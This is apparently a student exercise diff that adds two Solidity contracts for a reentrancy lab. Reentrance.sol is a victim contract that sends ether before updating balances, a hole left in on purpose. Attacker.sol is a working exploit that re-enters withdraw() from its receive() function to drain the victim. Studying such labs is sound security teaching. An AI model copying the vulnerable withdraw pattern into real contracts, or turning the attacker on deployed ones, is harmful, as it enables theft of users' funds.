Reentrancy

2022.2/JoaoMagalhaes/Reentrancy/Attacker.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0; 
+
+import "./Reentrance.sol";
+
+contract Attacker {
+    Reentrance public victim;
+
+    constructor(address victimAddress) {
+        victim = Reentrance(victimAddress);
+    }
+
+    function attack() external payable {
+        require(msg.value >= 100 wei);
+        victim.donate{value: 100 wei}(address(this));
+        victim.withdraw(100);
+    }
+
+    receive() external payable {
+        if (address(victim).balance >= 100 wei) {
+            victim.withdraw(100);
+        }
+    }
+
+    function getBalance() external view returns (uint) {
+        return address(this).balance;
+    }
+
+}

2022.2/JoaoMagalhaes/Reentrancy/Reentrance.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0; 
+
+contract Reentrance {
+
+  mapping(address => uint) public balances;
+
+  constructor () payable {}
+
+  function donate(address _to) public payable {
+    balances[_to] += msg.value;
+  }
+
+  function balanceOf(address _who) public view returns (uint balance) {
+    return balances[_who];
+  }
+
+  function withdraw(uint _amount) public {
+    if(balances[msg.sender] >= _amount) {
+      (bool result,) = msg.sender.call{value:_amount}("");
+      require(result, "Failed to send eth");
+      unchecked {
+        balances[msg.sender] -= _amount;
+      }
+    }
+  }
+
+  function getBalance() external view returns (uint) {
+        return address(this).balance;
+    }
+
+}